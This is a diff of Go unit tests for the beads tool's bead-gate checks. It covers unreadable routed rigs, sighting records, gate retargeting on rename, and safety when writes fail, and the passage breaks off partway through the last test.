`bd gate show` fail-closed: "no gate" and "could not read" must diff --git a/cmd/bd/gate_routing_test.go b/cmd/bd/gate_routing_test.go index 10b03b6ab..b74f86d36 100644 --- a/cmd/bd/gate_routing_test.go +++ b/cmd/bd/gate_routing_test.go @@ -14,7 +14,8 @@ import ( // TestCheckBeadGateCrossRigPrefixRoute proves the full evaluator seam: the // historical rig:id value is reduced to the target bead ID, the current // routes.jsonl prefix router opens the foreign store read-only, and target -// lifecycle state determines whether the gate resolves. +// lifecycle state determines whether the gate resolves. A routed rig that +// cannot be read leaves the gate pending: its bead is not proven gone. // // NOTE: This test uses os.Chdir and cannot run in parallel with other tests. func TestCheckBeadGateCrossRigPrefixRoute(t *testing.T) { @@ -74,4 +75,19 @@ func TestCheckBeadGateCrossRigPrefixRoute(t *testing.T) { if !gateTestContainsIgnoreCase(reason, "open") { t.Fatalf("pending reason %q does not report target status", reason) } + + // Point the rig at a database that does not exist: the route still + // matches, but the rig's store cannot be opened, so its open bead must not + // read as deleted. + writeTestMetadata(t, filepath.Join(rigBeadsDir, "dolt"), "gate_routing_missing_db") + resolved, reason, err = checkBeadGate(ctx, getter, "rig:gt-open") + if err != nil { + t.Fatalf("an unreadable routed rig is a pending gate, not an error: %v", err) + } + if resolved { + t.Fatalf("open target in an unreadable routed rig resolved the gate: %s", reason) + } + if !gateTestContainsIgnoreCase(reason, "cannot confirm") { + t.Fatalf("pending reason %q does not say the absence is unconfirmed", reason) + } } diff --git a/cmd/bd/gate_test.go b/cmd/bd/gate_test.go index efe5f1c69..b272d7f9e 100644 --- a/cmd/bd/gate_test.go +++ b/cmd/bd/gate_test.go @@ -17,6 +17,7 @@ import ( "time" "github.com/steveyegge/beads/internal/storage" + storageissueops "github.com/steveyegge/beads/internal/storage/issueops" "github.com/steveyegge/beads/internal/types" ) @@ -170,6 +171,13 @@ func (f *fakeBeadGateGetter) GetIssue(_ context.Context, id string) (*types.Issu return f.issues[id], nil } +// checkBeadGate runs only the target lookup of a bead gate check. It skips +// the sighting rule evaluateBeadGate adds, so a gone bead reads as resolved. +func checkBeadGate(ctx context.Context, st issueGetter, awaitID string) (bool, string, error) { + c, err := inspectBeadGate(ctx, st, awaitID) + return c.resolved, c.reason, err +} + func TestCheckBeadGate_CrossRigUsesBeadIDForRoutedLookup(t *testing.T) { ctx := context.Background() st := &fakeBeadGateGetter{issues: map[string]*types.Issue{ @@ -192,10 +200,17 @@ func TestProxiedFreshReadGetterPreservesLocalNotFoundWhenRoutingUnavailable(t *t dbPath = filepath.Join(t.TempDir(), ".beads", "dolt") t.Cleanup(func() { dbPath = oldDBPath }) - _, err := (proxiedFreshReadGetter{}).GetIssue(context.Background(), "bd-missing") - if !errors.Is(err, sql.ErrNoRows) { + _, err := (proxiedFreshReadGetter{}).GetIssue(context.Background(), stubMissingID) + if !errors.Is(err, storage.ErrNotFound) { t.Fatalf("GetIssue error = %v, want original local not-found", err) } + if errors.Is(err, errBeadGateTargetUnconfirmed) { + t.Fatalf("GetIssue error = %v: with no route the local miss is authoritative, not unconfirmed", err) + } + issue, local, _ := (proxiedFreshReadGetter{}).getBeadGateTarget(context.Background(), stubMissingID) + if issue != nil || !local { + t.Fatalf("getBeadGateTarget = (%v, local %v), want (nil, local true)", issue, local) + } } func TestCheckBeadGate_InvalidCrossRigFormat(t *testing.T) { @@ -260,17 +275,25 @@ func TestCheckBeadGate_LocalBead(t *testing.T) { } } +// A gate awaiting a bead that no longer exists can never resolve on its own: +// the bead will never close. Treat the absence as resolution rather than +// leaving the gate pending forever. func TestCheckBeadGate_LocalBeadNotFound(t *testing.T) { st := &fakeBeadGateGetter{issues: map[string]*types.Issue{}} - satisfied, reason, _ := checkBeadGate(context.Background(), st, "bd-missing") - if satisfied { - t.Error("expected not satisfied for missing local bead") + satisfied, reason, err := checkBeadGate(context.Background(), st, "bd-missing") + if err != nil { + t.Fatalf("a missing bead is not an error, got %v", err) } - if !gateTestContainsIgnoreCase(reason, "not found") { - t.Errorf("reason %q does not mention not found", reason) + if !satisfied { + t.Errorf("expected satisfied for missing local bead, got reason %q", reason) + } + if !gateTestContainsIgnoreCase(reason, "no longer exists") { + t.Errorf("reason %q does not mention that the bead no longer exists", reason) } } +// Negative control: a genuine backend failure is not a missing bead, so it +// is an error, neither pending nor resolved. func TestCheckBeadGate_LocalBeadLookupError(t *testing.T) { // A store that cannot be read is an error, not a pending gate: the // caller must be able to tell "dolt is down" from "still waiting". @@ -294,10 +317,11 @@ func TestCheckBeadGate_LocalBeadLookupError(t *testing.T) { } } -func TestCheckBeadGate_LocalBeadNotFoundErrorStaysPending(t *testing.T) { - // A getter that reports absence through an error (the routed getter - // surfaces storage.ErrNotFound; the proxied fresh-read getter surfaces - // sql.ErrNoRows) is a missing bead, not a broken store. +func TestCheckBeadGate_LocalBeadNotFoundErrorResolves(t *testing.T) { + // A getter that reports absence through an error (storage.ErrNotFound + // from a store, sql.ErrNoRows from the proxied domain seam, or the + // partial-ID resolver's text) is a missing bead, not a broken store: the + // gate resolves rather than pending forever on a bead that can never close. for _, tt := range []struct { name string err error @@ -305,19 +329,20 @@ func TestCheckBeadGate_LocalBeadNotFoundErrorStaysPending(t *testing.T) { {name: "storage sentinel", err: storage.ErrNotFound}, {name: "wrapped storage sentinel", err: fmt.Errorf("lookup bd-missing: %w", storage.ErrNotFound)}, {name: "sql no rows", err: sql.ErrNoRows}, + {name: "wrapped sql no rows", err: fmt.Errorf("query bead: %w", sql.ErrNoRows)}, {name: "partial-id resolver text", err: errors.New("no issue found matching bd-missing")}, } { t.Run(tt.name, func(t *testing.T) { st := &fakeBeadGateGetter{err: tt.err} satisfied, reason, err := checkBeadGate(context.Background(), st, "bd-missing") if err != nil { - t.Fatalf("not-found must stay pending, got error %v", err) + t.Fatalf("not-found is a missing bead, not an error, got %v", err) } - if satisfied { - t.Error("expected not satisfied for a missing bead") + if !satisfied { + t.Errorf("expected satisfied for a missing bead, got reason %q", reason) } - if !gateTestContainsIgnoreCase(reason, "not found") { - t.Errorf("reason %q does not mention not found", reason) + if !gateTestContainsIgnoreCase(reason, "no longer exists") { + t.Errorf("reason %q does not mention that the bead no longer exists", reason) } }) } @@ -329,7 +354,7 @@ func TestEvaluateGates_BeadStoreErrorCountsAsError(t *testing.T) { gate := &types.Issue{ID: "bd-gate", IssueType: "gate", AwaitType: "bead", AwaitID: "bd-abc"} st := &fakeBeadGateGetter{err: errors.New("dolt exploded")} - results := evaluateGates(context.Background(), []*types.Issue{gate}, time.Now(), st, nil) + results := evaluateGates(context.Background(), []*types.Issue{gate}, time.Now(), st, nil, nil) if len(results) != 1 { t.Fatalf("results = %d, want 1", len(results)) } @@ -356,6 +381,716 @@ func TestEvaluateGates_BeadStoreErrorCountsAsError(t *testing.T) { } } +func TestCheckBeadGate_UnconfirmedMissStaysPending(t *testing.T) { + // A miss outside this rig's own store (a route whose rig cannot be read, + // or a routed store that did not return the bead) does not prove the bead + // is gone. The gate stays pending with the cause, even when the wrapped + // error is itself a not-found, and it is not an error row either. + for _, tt := range []struct { + name string + err error + }{ + {name: "routed store not-found", err: fmt.Errorf("%w: bead gt-open routes to gastown: %w", errBeadGateTargetUnconfirmed, fmt.Errorf("get gt-open: %w", storage.ErrNotFound))}, + {name: "routed partial-id miss", err: fmt.Errorf("%w: bead gt-open routes to gastown: %w", errBeadGateTargetUnconfirmed, errors.New("no issue found matching gt-open"))}, + {name: "routed store cannot be opened", err: fmt.Errorf("%w: bead gt-open routes to gastown: %w", errBeadGateTargetUnconfirmed, errors.New("target rig has no dolt_database configured"))}, + } { + t.Run(tt.name, func(t *testing.T) { + st := &fakeBeadGateGetter{err: tt.err} + satisfied, reason, err := checkBeadGate(context.Background(), st, "gastown:gt-open") + if err != nil { + t.Fatalf("an unconfirmed miss is a pending gate, not an error, got %v", err) + } + if satisfied { + t.Fatalf("an unconfirmed miss resolved the gate: %s", reason) + } + if !strings.Contains(reason, "cannot confirm") { + t.Errorf("reason %q does not say the absence is unconfirmed", reason) + } + }) + } +} + +// fakeRoutedBeadGateGetter answers like a getter that reached the bead +// through a route: the answer did not come from this rig's own store. +type fakeRoutedBeadGateGetter struct{ fakeBeadGateGetter } + +func (f *fakeRoutedBeadGateGetter) getBeadGateTarget(ctx context.Context, id string) (*types.Issue, bool, error) { + issue, err := f.GetIssue(ctx, id) + return issue, false, err +} + +func TestEvaluateGates_BeadGateSightingRule(t *testing.T) { + // bd gate check resolves a gate whose awaited bead is gone only when an + // earlier check saw that bead in this rig, so an await_id that never + // named a real bead stays pending instead of unblocking its step. + const seen = `{"await_seen":"bd-target"}` + open := map[string]*types.Issue{"bd-target": {ID: "bd-target", Status: types.StatusOpen}} + closed := map[string]*types.Issue{"bd-target": {ID: "bd-target", Status: types.StatusClosed}} + // The getter is the gate's own store, which a check reads the gate back + // from once the bead is gone: there the gate records its sighting. + missing := map[string]*types.Issue{"bd-gate": {ID: "bd-gate", IssueType: "gate", AwaitType: "bead", AwaitID: "bd-target", Metadata: json.RawMessage(seen)}} + unconfirmed := fmt.Errorf("%w: bead bd-target routes to rig: %w", errBeadGateTargetUnconfirmed, storage.ErrNotFound) + + for _, tt := range []struct { + name string + getter issueGetter + metadata string + wantResolved bool + wantReason string + wantRecords int + }{ + {name: "missing and never seen", getter: &fakeBeadGateGetter{issues: missing}, wantReason: "no earlier gate check saw it"}, + {name: "missing after a sighting", getter: &fakeBeadGateGetter{issues: missing}, metadata: seen, wantResolved: true, wantReason: "no longer exists"}, + {name: "missing, sighting of another await_id", getter: &fakeBeadGateGetter{issues: missing}, metadata: `{"await_seen":"bd-other"}`, wantReason: "no earlier gate check saw it"}, + {name: "open, first sighting", getter: &fakeBeadGateGetter{issues: open}, wantReason: "is open", wantRecords: 1}, + {name: "open, already seen", getter: &fakeBeadGateGetter{issues: open}, metadata: seen, wantReason: "is open"}, + {name: "open in another rig", getter: &fakeRoutedBeadGateGetter{fakeBeadGateGetter{issues: open}}, wantReason: "is open"}, + {name: "closed", getter: &fakeBeadGateGetter{issues: closed}, wantResolved: true, wantReason: "closed"}, + {name: "unconfirmed miss after a sighting", getter: &fakeBeadGateGetter{err: unconfirmed}, metadata: seen, wantReason: "cannot confirm"}, + } { + t.Run(tt.name, func(t *testing.T) { + gate := &types.Issue{ID: "bd-gate", IssueType: "gate", AwaitType: "bead", AwaitID: "bd-target"} + if tt.metadata != "" { + gate.Metadata = json.RawMessage(tt.metadata) + } + var recorded []*types.Issue + recordSeen := func(g *types.Issue) error { + recorded = append(recorded, g) + return nil + } + + results := evaluateGates(context.Background(), []*types.Issue{gate}, time.Now(), tt.getter, nil, recordSeen) + if len(results) != 1 { + t.Fatalf("results = %d, want 1", len(results)) + } + r := results[0] + if r.err != nil { + t.Fatalf("err = %v, want a pending or resolved gate", r.err) + } + if r.resolved != tt.wantResolved { + t.Errorf("resolved = %v, want %v (reason %q)", r.resolved, tt.wantResolved, r.reason) + } + if !strings.Contains(r.reason, tt.wantReason) { + t.Errorf("reason %q does not contain %q", r.reason, tt.wantReason) + } + if len(recorded) != tt.wantRecords { + t.Fatalf("recordSeen called %d times, want %d", len(recorded), tt.wantRecords) + } + if tt.wantRecords == 1 && recorded[0] != gate { + t.Errorf("recordSeen got %v, want the checked gate", recorded[0]) + } + }) + } +} + +// gateReadBackGetter is a gate's own store in which the awaited bead is gone. +// Reading the gate back returns gate, as found through a route when routed, +// or fails with err. +type gateReadBackGetter struct { + gate *types.Issue + routed bool + err error +} + +func (g gateReadBackGetter) GetIssue(ctx context.Context, id string) (*types.Issue, error) { + issue, _, err := g.getBeadGateTarget(ctx, id) + return issue, err +} + +func (g gateReadBackGetter) getBeadGateTarget(_ context.Context, id string) (*types.Issue, bool, error) { + switch { + case id != "bd-gate": + return nil, true, fmt.Errorf("get %s: %w", id, storage.ErrNotFound) + case g.err != nil: + return nil, false, g.err + case g.gate == nil: + return nil, true, fmt.Errorf("get %s: %w", id, storage.ErrNotFound) + } + return g.gate, !g.routed, nil +} + +func TestEvaluateBeadGate_GoneBeadReadsTheGateBack(t *testing.T) { + // The gate a check holds can be older than a rename of its bead, which + // moves the stored gate to the new ID before the old one goes. Once the + // bead is gone, the gate resolves only if the stored gate still waits on + // it with its sighting. + gateWith := func(awaitID, metadata string) *types.Issue { + g := &types.Issue{ID: "bd-gate", IssueType: "gate", AwaitType: "bead", AwaitID: awaitID} + if metadata != "" { + g.Metadata = json.RawMessage(metadata) + } + return g + } + listed := gateWith("bd-target", `{"await_seen":"bd-target"}`) + boom := errors.New("dolt exploded") + + for _, tt := range []struct { + name string + getter gateReadBackGetter + wantResolved bool + wantReason string + wantErr error + }{ + {name: "stored as listed", getter: gateReadBackGetter{gate: gateWith("bd-target", `{"await_seen":"bd-target"}`)}, wantResolved: true, wantReason: "no longer exists"}, + {name: "moved by a rename", getter: gateReadBackGetter{gate: gateWith("bd-renamed", `{"await_seen":"bd-renamed"}`)}, wantReason: "the gate changed while it was being checked"}, + {name: "moved back without its sighting", getter: gateReadBackGetter{gate: gateWith("bd-target", "")}, wantReason: "the gate changed while it was being checked"}, + {name: "gate gone", getter: gateReadBackGetter{}, wantReason: "the gate could not be read back"}, + {name: "gate found only through a route", getter: gateReadBackGetter{gate: listed, routed: true}, wantReason: "the gate could not be read back"}, + {name: "gate behind an unconfirmed route", getter: gateReadBackGetter{err: fmt.Errorf("%w: bead bd-gate routes to rig: %w", errBeadGateTargetUnconfirmed, boom)}, wantReason: "the gate could not be read back"}, + {name: "gate cannot be read", getter: gateReadBackGetter{err: boom}, wantErr: boom}, + } { + t.Run(tt.name, func(t *testing.T) { + gate := *listed + resolved, reason, err := evaluateBeadGate(context.Background(), &gate, tt.getter, nil) + if tt.wantErr != nil { + if !errors.Is(err, tt.wantErr) || resolved || reason != "" { + t.Fatalf("evaluateBeadGate = (%v, %q, %v), want only an error wrapping %v", resolved, reason, err, tt.wantErr) + } + return + } + if err != nil { + t.Fatalf("err = %v, want a pending or resolved gate", err) + } + if resolved != tt.wantResolved { + t.Errorf("resolved = %v, want %v (reason %q)", resolved, tt.wantResolved, reason) + } + if !strings.Contains(reason, tt.wantReason) { + t.Errorf("reason %q does not contain %q", reason, tt.wantReason) + } + }) + } +} + +func TestEvaluateBeadGate_WithoutRecorder(t *testing.T) { + // --dry-run passes no recorder: the open bead is reported and nothing is + // written. + gate := &types.Issue{ID: "bd-gate", AwaitType: "bead", AwaitID: "bd-target"} + st := &fakeBeadGateGetter{issues: map[string]*types.Issue{"bd-target": {ID: "bd-target", Status: types.StatusOpen}}} + resolved, reason, err := evaluateBeadGate(context.Background(), gate, st, nil) + if err != nil || resolved || !strings.Contains(reason, "is open") { + t.Fatalf("evaluateBeadGate = (%v, %q, %v), want a pending gate", resolved, reason, err) + } +} + +func TestEvaluateBeadGate_RecordFailureIsAnError(t *testing.T) { + // A sighting that cannot be recorded would let the gate pend forever once + // the bead is deleted, so the failure is reported rather than dropped. + gate := &types.Issue{ID: "bd-gate", AwaitType: "bead", AwaitID: "bd-target"} + st := &fakeBeadGateGetter{issues: map[string]*types.Issue{"bd-target": {ID: "bd-target", Status: types.StatusOpen}}} + boom := errors.New("write refused") + resolved, reason, err := evaluateBeadGate(context.Background(), gate, st, func(*types.Issue) error { return boom }) + if !errors.Is(err, boom) { + t.Fatalf("err = %v, want it to wrap the write error", err) + } + if !strings.Contains(err.Error(), "recording that bead bd-target exists") { + t.Errorf("err %q does not say what failed", err) + } + if resolved || reason != "" { + t.Errorf("evaluateBeadGate = (%v, %q), want neither resolved nor pending on an error", resolved, reason) + } +} + +func TestBeadGateSeenUpdate_KeepsOtherMetadata(t *testing.T) { + old := &types.Issue{Metadata: json.RawMessage(`{"repo":"o/r"}`)} + resolved, err := storageissueops.ResolveMergeOps(old, beadGateSeenUpdate("rig:bd-x")) + if err != nil { + t.Fatalf("ResolveMergeOps: %v", err) + } + meta, ok := resolved["metadata"].(json.RawMessage) + if !ok { + t.Fatalf("resolved metadata is %T, want json.RawMessage", resolved["metadata"]) + } + var got map[string]string + if err := json.Unmarshal(meta, &got); err != nil { + t.Fatalf("resolved metadata %s: %v", meta, err) + } + if got["repo"] != "o/r" || got[beadGateSeenKey] != "rig:bd-x" { + t.Errorf("metadata = %s, want repo kept and %s set to the await_id", meta, beadGateSeenKey) + } + + gate := &types.Issue{AwaitID: "rig:bd-x", Metadata: meta} + if !beadGateTargetSeen(gate) { + t.Error("the recorded sighting is not read back") + } + gate.AwaitID = "rig:bd-y" + if beadGateTargetSeen(gate) { + t.Error("a sighting of the old await_id counts after the gate was retargeted") + } +} + +func TestBeadGateTargetSeen(t *testing.T) { + if beadGateTargetSeen(nil) { + t.Error("a nil gate has no sighting") + } + for _, tt := range []struct { + name string + awaitID string + metadata string + want bool + }{ + {name: "no metadata", awaitID: "bd-x"}, + {name: "null metadata", awaitID: "bd-x", metadata: "null"}, + {name: "metadata not an object", awaitID: "bd-x", metadata: `["bd-x"]`}, + {name: "no sighting", awaitID: "bd-x", metadata: `{"repo":"o/r"}`}, + {name: "sighting not a string", awaitID: "bd-x", metadata: `{"await_seen":true}`}, + {name: "null sighting", awaitID: "bd-x", metadata: `{"await_seen":null}`}, + {name: "no await_id", metadata: `{"await_seen":""}`}, + {name: "sighting of this await_id", awaitID: "bd-x", metadata: `{"await_seen":"bd-x"}`, want: true}, + } { + t.Run(tt.name, func(t *testing.T) { + gate := &types.Issue{AwaitID: tt.awaitID} + if tt.metadata != "" { + gate.Metadata = json.RawMessage(tt.metadata) + } + if got := beadGateTargetSeen(gate); got != tt.want { + t.Errorf("beadGateTargetSeen = %v, want %v", got, tt.want) + } + }) + } +} + +func TestBeadGateRetargetUpdate(t *testing.T) { + // The update points a gate at a new await_id and drops its sighting only + // when asked; the rest of the metadata is kept either way. + gate := &types.Issue{AwaitID: "bd-old", Metadata: json.RawMessage(`{"repo":"o/r","await_seen":"bd-old"}`)} + for _, tt := range []struct { + name string + dropSeen bool + wantMeta string // "" means the metadata is not written + }{ + {name: "sighting kept"}, + {name: "sighting dropped", dropSeen: true, wantMeta: `{"repo":"o/r"}`}, + } { + t.Run(tt.name, func(t *testing.T) { + resolved, err := storageissueops.ResolveMergeOps(gate, beadGateRetargetUpdate("rig:bd-new", tt.dropSeen)) + if err != nil { + t.Fatalf("ResolveMergeOps: %v", err) + } + if resolved["await_id"] != "rig:bd-new" { + t.Errorf("await_id = %v, want %q", resolved["await_id"], "rig:bd-new") + } + meta, written := resolved["metadata"] + switch { + case tt.wantMeta == "" && written: + t.Errorf("metadata = %s, want it left alone", meta) + case tt.wantMeta != "" && !written: + t.Errorf("metadata not written, want %s", tt.wantMeta) + case tt.wantMeta != "": + if got, ok := meta.(json.RawMessage); !ok || string(got) != tt.wantMeta { + t.Errorf("metadata = %s, want %s", meta, tt.wantMeta) + } + } + }) + } +} + +func TestPlanBeadGateMoves(t *testing.T) { + // A rename moves the bead gates that wait on the renamed bead, and only + // those. A : prefix on await_id is kept. + gate := func(id, awaitType, awaitID, metadata string) *types.Issue { + g := &types.Issue{ID: id, IssueType: types.TypeGate, AwaitType: awaitType, AwaitID: awaitID} + if metadata != "" { + g.Metadata = json.RawMessage(metadata) + } + return g + } + issues := []*types.Issue{ + gate("bd-g1", "bead", "bd-old", ""), + gate("bd-g2", "bead", "rig:bd-old", `{"await_seen":"rig:bd-old"}`), + gate("bd-g3", "bead", "bd-old", `{"await_seen":"bd-new"}`), + gate("bd-g4", "bead", "bd-old.1", `{"await_seen":"bd-old.1"}`), + gate("bd-g5", "gh:run", "bd-old", ""), + gate("bd-g6", "bead", ":bd-old", ""), + {ID: "bd-task", IssueType: types.TypeTask, AwaitType: "bead", AwaitID: "bd-old"}, + } + got := planBeadGateMoves(beadGatesByTarget(issues)["bd-old"], "bd-old", "bd-new") + want := []beadGateMove{ + {gateID: "bd-g1", fromID: "bd-old", toID: "bd-new"}, + {gateID: "bd-g2", fromID: "rig:bd-old", toID: "rig:bd-new", seen: true}, + {gateID: "bd-g3", fromID: "bd-old", toID: "bd-new", staleSeen: true}, + } + if !slices.Equal(got, want) { + t.Errorf("moves = %+v\nwant %+v", got, want) + } +} + +// renameGateStore is an in-memory store for renameIssueKeepingBeadGates whose +// writes can fail. Writes are numbered from 1: failAt fails one write, or with +// failRest every write from it on, and with landed a failing write is applied +// before it returns its error, like a commit whose response was lost. After +// each applied write it checks that bd gate check would resolve no gate: +// every issue it holds is open, so none may resolve, whether the check reads +// the gates now or listed them before the rename began. +type renameGateStore struct { + t *testing.T + issues map[string]*types.Issue + listed []*types.Issue // a concurrent check's copies, listed before the rename + writes int + failAt int + failRest bool + landed bool +} + +func newRenameGateStore(t *testing.T, issues []*types.Issue) *renameGateStore { + s := &renameGateStore{t: t, issues: make(map[string]*types.Issue, len(issues))} + for _, issue := range issues { + c := *issue + s.issues[issue.ID] = &c + } + return s +} + +func (s *renameGateStore) GetIssue(_ context.Context, id string) (*types.Issue, error) { + issue, ok := s.issues[id] + if !ok { + return nil, fmt.Errorf("issue %s: %w", id, storage.ErrNotFound) + } + c := *issue + return &c, nil +} + +func (s *renameGateStore) UpdateIssue(_ context.Context, id string, updates map[string]interface{}, _ string) error { + return s.write(func() error { + issue, ok := s.issues[id] + if !ok { + return fmt.Errorf("issue %s: %w", id, storage.ErrNotFound) + } + resolved, err := storageissueops.ResolveMergeOps(issue, updates) + if err != nil { + return err + } + updated := *issue + for field, value := range resolved { + switch field { + case "await_id": + updated.AwaitID, ok = value.(string) + case "metadata": + updated.Metadata, ok = value.(json.RawMessage) + default: + ok = false + } + if !ok { + return fmt.Errorf("unexpected update %s=%v", field, value) + } + } + *issue = updated + return nil + }) +} + +func (s *renameGateStore) UpdateIssueID(_ context.Context, oldID, newID string, issue *types.Issue, _ string) error { + return s.write(func() error { + stored, ok := s.issues[oldID] + if !ok { + return fmt.Errorf("issue %s: %w", oldID, storage.ErrNotFound) + } + // Like UpdateIssueIDInTx, write the ID and the text fields: await_id + // and metadata keep their stored values. + delete(s.issues, oldID) + stored.ID, stored.Title = newID, issue.Title + s.issues[newID] = stored + return nil + }) +} + +func (s *renameGateStore) write(apply func() error) error { + s.writes++ + failing := s.failAt > 0 && (s.writes == s.failAt || (s.failRest && s.writes > s.failAt)) + if failing && !s.landed { + return errors.New("injected write failure") + } + if err := apply(); err != nil { + return err + } + s.requireNoGateResolves() + if failing { + return errors.New("injected lost commit response") + } + return nil +} + +func (s *renameGateStore) requireNoGateResolves() { + s.t.Helper() + for _, issue := range s.issues { + s.requireGateDoesNotResolve(issue, "") + } + for _, issue := range s.listed { + s.requireGateDoesNotResolve(issue, " listed before the rename") + } +} + +func (s *renameGateStore) requireGateDoesNotResolve(issue *types.Issue, note string) { + s.t.Helper() + if issue.IssueType != types.TypeGate { + return + } + gate := *issue + resolved, reason, err := evaluateBeadGate(context.Background(), &gate, s, nil) + if resolved || err != nil { + s.t.Errorf("after write %d, gate %s%s (await_id %q, metadata %s) resolves: %q, err %v", s.writes, gate.ID, note, gate.AwaitID, gate.Metadata, reason, err) + } +} + +// rename renames bd-old to bd-new the way bd rename does, with the gates +// listed before the first write. A concurrent bd gate check that listed them +// at the same moment holds its own copies, kept in s.listed. +func (s *renameGateStore) rename() error { + listing := make([]*types.Issue, 0, len(s.issues)) + s.listed = make([]*types.Issue, 0, len(s.issues)) + for _, issue := range s.issues { + renames, checks := *issue, *issue + listing = append(listing, &renames) + s.listed = append(s.listed, &checks) + } + slices.SortFunc(listing, func(a, b *types.Issue) int { return strings.Compare(a.ID, b.ID) }) + issue, err := s.GetIssue(context.Background(), "bd-old") + if err != nil { + return err + } + return renameIssueKeepingBeadGates(context.Background(), s, issue, "bd-new", beadGatesByTarget(listing)["bd-old"], "test") +} + +// renameGateFixtures each hold bd-old, the issue renamed to bd-new, with +// the bead gates on it, and the gates expected after the rename by ID. +var renameGateFixtures = []struct { + name string + issues []*types.Issue + want map[string]types.Issue // only AwaitID and Metadata are compared +}{ + { + name: "gates on a bead", + issues: []*types.Issue{ + {ID: "bd-old", Status: types.StatusOpen, IssueType: types.TypeTask}, + {ID: "bd-g1", Status: types.StatusOpen, IssueType: types.TypeGate, AwaitType: "bead", AwaitID: "bd-old", + Metadata: json.RawMessage(`{"repo":"o/r","await_seen":"bd-old"}`)}, + {ID: "bd-g2", Status: types.StatusOpen, IssueType: types.TypeGate, AwaitType: "bead", AwaitID: "rig:bd-old"}, + {ID: "bd-g3", Status: types.StatusOpen, IssueType: types.TypeGate, AwaitType: "bead", AwaitID: "bd-old", + Metadata: json.RawMessage(`{"await_seen":"bd-new"}`)}, + }, + want: map[string]types.Issue{ + "bd-g1": {AwaitID: "bd-new", Metadata: json.RawMessage(`{"await_seen":"bd-new","repo":"o/r"}`)}, + "bd-g2": {AwaitID: "rig:bd-new"}, + "bd-g3": {AwaitID: "bd-new", Metadata: json.RawMessage(`{}`)}, + }, + }, + { + name: "a gate on itself", + issues: []*types.Issue{ + {ID: "bd-old", Status: types.StatusOpen, IssueType: types.TypeGate, AwaitType: "bead", AwaitID: "bd-old", + Metadata: json.RawMessage(`{"await_seen":"bd-old"}`)}, + }, + want: map[string]types.Issue{ + "bd-new": {AwaitID: "bd-new", Metadata: json.RawMessage(`{"await_seen":"bd-new"}`)}, + }, + }, +} + +func TestRenameIssueKeepingBeadGates(t *testing.T) { + // A rename points each bead gate on the bead at the new ID. A gate that + // had seen the bead keeps its sighting under the new ID; one that had not, + // or whose sighting named the new ID before the bead had it, is unseen. + for _, fx := range renameGateFixtures { + t.Run(fx.name, func(t *testing.T) { + st := newRenameGateStore(t, fx.issues) + if err := st.rename(); err != nil { + t.Fatalf("rename: %v", err) + } + for id, want := range fx.want { + got, ok := st.issues[id] + if !ok { + t.Errorf("gate %s is missing after the rename", id) + continue + } + if got.AwaitID != want.AwaitID || string(got.Metadata) != string(want.Metadata) { + t.Errorf("gate %s: await_id=%q metadata=%s, want %q and %s", id, got.AwaitID, got.Metadata, want.AwaitID, want.Metadata) + } + } + }) + } +} + +func TestRenameIssueKeepingBeadGates_FailedWritesResolveNoGate(t *testing.T) { + // UpdateIssueID commits on its own, so a rename takes several writes, and + // any of them can fail, or land and still return an error. No state they + // leave may let bd gate check resolve a gate whose bead exists; the store + // checks after every write. A rename that fails before anything lands + // leaves each gate on bd-old without a sighting, for a check to record + // again. + for _, fx := range renameGateFixtures { + probe := newRenameGateStore(t, fx.issues) + if err := probe.rename(); err != nil { + t.Fatalf("%s: rename without failures: %v", fx.name, err) + } + for n := 1; n <= probe.writes; n++ { + for _, mode := range []struct { + name string + failRest, landed bool + }{ + {name: "fails"}, + {name: "lands and fails", landed: true}, + {name: "fails with every later write", failRest: true}, + {name: "lands and fails with every later write", failRest: true, landed: true}, + } { + t.Run(fmt.Sprintf("%s/write %d of %d %s", fx.name, n, probe.writes, mode.name), func(t *testing.T) { + st := newRenameGateStore(t, fx.issues) + st.failAt, st.failRest, st.landed = n, mode.failRest, mode.landed + err := st.rename() + st.requireNoGateResolves() + if err == nil { + // Only a sighting that could not be moved is not an error. + if _, ok := st.issues["bd-new"]; !ok { + t.Fatal("rename returned no error, but bd-old was not renamed") + } + return + } + if mode.failRest || mode.landed { + return + } + for _, issue := range fx.issues { + got := st.issues[issue.ID] + if issue.IssueType == types.TypeGate && (got.AwaitID != issue.AwaitID || beadGateTargetSeen(got)) { + t.Errorf("gate %s after a failed rename: await_id=%q metadata=%s, want %q without a sighting", issue.ID, got.AwaitID, got.Metadata, issue.AwaitID) + } + } + }) + } + } + } +} + +// withBeadGateTown points dbPath at a fresh town and returns its .beads +// directory, where a test writes the routes.jsonl a missed lookup follows. +func withBeadGateTown(t *testing.T) string { + t.Helper() + beadsDir := filepath.Join(t.TempDir(), ".beads") + if err := os.MkdirAll(beadsDir, 0o755); err != nil { + t.Fatalf("create town beads dir: %v", err) + } + oldDBPath := dbPath + dbPath = filepath.Join(beadsDir, "dolt") + t.Cleanup(func() { dbPath = oldDBPath }) + return beadsDir +} + +func TestProxiedFreshReadGetter_LocalMissFollowsRoutes(t *testing.T) { + // The proxied getter must not report a route it could not follow as the + // local not-found: an OPEN bead in a rig that cannot be read would + // resolve its gate. + for _, tt := range []struct { + name string + routes string // routes.jsonl content; empty makes it a directory, which cannot be read + awaitID string + wantResolved bool + wantReason []string + }{ + { + name: "route to a rig that cannot be read", + routes: `{"prefix":"gt-","path":"gastown"}`, + awaitID: "gastown:gt-open", + wantReason: []string{"cannot confirm", "routes to gastown", "no dolt_database"}, + }, + { + name: "routes.jsonl cannot be read", + awaitID: stubMissingID, + wantReason: []string{"cannot confirm", "reading routes.jsonl"}, + }, + { + name: "no route for the prefix", + routes: `{"prefix":"gt-","path":"gastown"}`, + awaitID: stubMissingID, + wantResolved: true, + wantReason: []string{"no longer exists"}, + }, + { + name: "route back to this rig", + routes: `{"prefix":"bd-","path":"."}`, + awaitID: stubMissingID, + wantResolved: true, + wantReason: []string{"no longer exists"}, + }, + } { + t.Run(tt.name, func(t *testing.T) { + withStubbedProxiedLookup(t, nil) + routesPath := filepath.Join(withBeadGateTown(t), "routes.jsonl") + if tt.routes == "" { + if err := os.Mkdir(routesPath, 0o755); err != nil { + t.Fatalf("create unreadable routes.jsonl: %v", err) + } + } else if err := os.WriteFile(routesPath, []byte(tt.routes), 0o644); err != nil { + t.Fatalf("write routes.jsonl: %v", err) + } + + resolved, reason, err := checkBeadGate(context.Background(), proxiedFreshReadGetter{}, tt.awaitID) + if err != nil { + t.Fatalf("checkBeadGate error = %v, want a pending or resolved gate", err) + } + if resolved != tt.wantResolved { + t.Errorf("resolved = %v, want %v (reason %q)", resolved, tt.wantResolved, reason) + } + for _, want := range tt.wantReason { + if !strings.Contains(reason, want) { + 